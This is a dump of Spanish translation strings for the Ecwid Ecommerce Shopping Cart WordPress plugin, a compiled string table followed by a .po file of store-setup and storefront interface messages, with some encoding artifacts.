producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_GT.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 